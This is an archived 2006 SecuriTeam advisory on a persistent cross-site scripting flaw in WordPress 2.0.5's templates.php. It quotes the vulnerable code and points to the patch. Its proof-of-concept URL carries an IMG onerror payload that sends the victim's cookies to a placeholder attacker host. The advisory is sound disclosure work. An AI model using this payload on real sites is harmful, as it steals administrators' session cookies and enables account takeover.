[UNIX] WordPress Persistent XSS (templates.php)
- From: SecuriTeam <support@xxxxxxxxxxxxxx>
- Date: 27 Dec 2006 21:02:06 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
WordPress Persistent XSS (templates.php)
------------------------------------------------------------------------
SUMMARY
<http://wordpress.org/> WordPress is "a state-of-the-art semantic
personal publishing platform with a focus on aesthetics, web standards,
and usability". A vulnerability in WordPress's templates.php allows a user
with access to the templates.php to insert arbitrary HTML and/or
Javascript which can be then executed by other administrators.
DETAILS
Vulnerable Systems:
* WordPress version 2.0.5 and prior
Immune Systems:
* WordPress version 2.0.6
When editing files a shortcut is created titled recently accessed files .
The anchor tag text is correctly escaped with wp_specialchars(); however,
the link title is not sanitized. Instead, it is passed to
get_file_description($file). The only restriction or limitation here is
that our text is passed through basename. This means standard script tags
will fail when ending with / . We can get around this by using open IMG
tags; this works under FF and IE.
Vulnerable code in wp-admin/templates.php:
[line 22]$recents = get_option('recently_edited');
[line 72]update_recently_edited($file);
[Line 116]:foreach ($recents as $recent) :
echo "<li><a href='templates.php?file="
. wp_specialchars($recent, true) . "'>"
. get_file_description(basename($recent))
. "</a></li>";
Vulnerable function:
function get_file_description($file) {
global $wp_file_descriptions;
if (isset ($wp_file_descriptions[basename($file)])) {
return $wp_file_descriptions[basename($file)];
}
elseif (file_exists(ABSPATH.$file)) {
$template_data = implode('', file(ABSPATH.$file));
if (preg_match("|Template Name:(.*)|i",
$template_data, $name))
return $name[1];
}
return basename($file);
}
Proof of concept:
https://blogsite/wp/wp-admin/templates.php?file=<img src=""
onerror=javascript:document.location.href=
'http://evilhacker/capturecookie.php?'+document.cookie;>
Solution:
WordPress has fixed this for v2.0.6 and a patch has been released for
v2.0.5, see: <http://trac.wordpress.org/changeset/4665>
http://trac.wordpress.org/changeset/4665
ADDITIONAL INFORMATION
The information has been provided by <mailto:david.kierznowski@xxxxxxxxx>
David Kierznowski.
The original article can be found at:
<http://michaeldaw.org/md-hacks/wordpress-persistent-xss/>
http://michaeldaw.org/md-hacks/wordpress-persistent-xss/
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Prev by Date: [NEWS] Novell NetMail IMAPD subscribe Buffer Overflow
- Next by Date: [UNIX] logahead UNU Arbitrary File Uploading
- Previous by thread: [NEWS] Novell NetMail IMAPD subscribe Buffer Overflow
- Next by thread: [UNIX] logahead UNU Arbitrary File Uploading
- Index(es):
Relevant Pages
- [UNIX] Trend Micro VirusWall Buffer Overflow in VSAPI Library
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... buffer overflow vulnerability
in VSAPI library allows arbitrary code ... is called "vscan" which is set suid root by
default. ... permissions and thus granted all local users the privilege to execute the
... (Securiteam) - [UNIX] SCO Multiple Local Buffer Overflow
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... Local exploitation of a buffer
overflow vulnerability in the ppp binary, ... allows attackers to gain root privileges.
... (Securiteam) - [NT] Microsoft Word 6.0/95 Document Converter Buffer Overflow (MS04-041)
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... WordPad is "a word processing
application that uses the MFC rich edit ... Remote exploitation of a buffer overflow vulnerability
in Microsoft ... Microsoft Word format files into the Rich Text Format natively handled
by ... (Securiteam) - [UNIX] Tikiwiki Command Injection and Arbitrary File Exposure Vulnerabilities
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... Two security vulnerabilities have
been recently discovered in Tikiwiki, ... Remote exploitation of an input validation
vulnerability in Tikiwiki ... allows attackers to gain access to arbitrary files on
the vulnerable ... (Securiteam) - [NT] Ipswitch Multiple Vulnerabilities (IMail IMAP LIST Command DoS, Collaboration Suite SMTP Format
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... Ipswitch Multiple Vulnerabilities
(IMail IMAP LIST Command DoS, ... Collaboration Suite SMTP Format String) ... Remote
exploitation of a denial of service vulnerability in Ipswitch ... (Securiteam)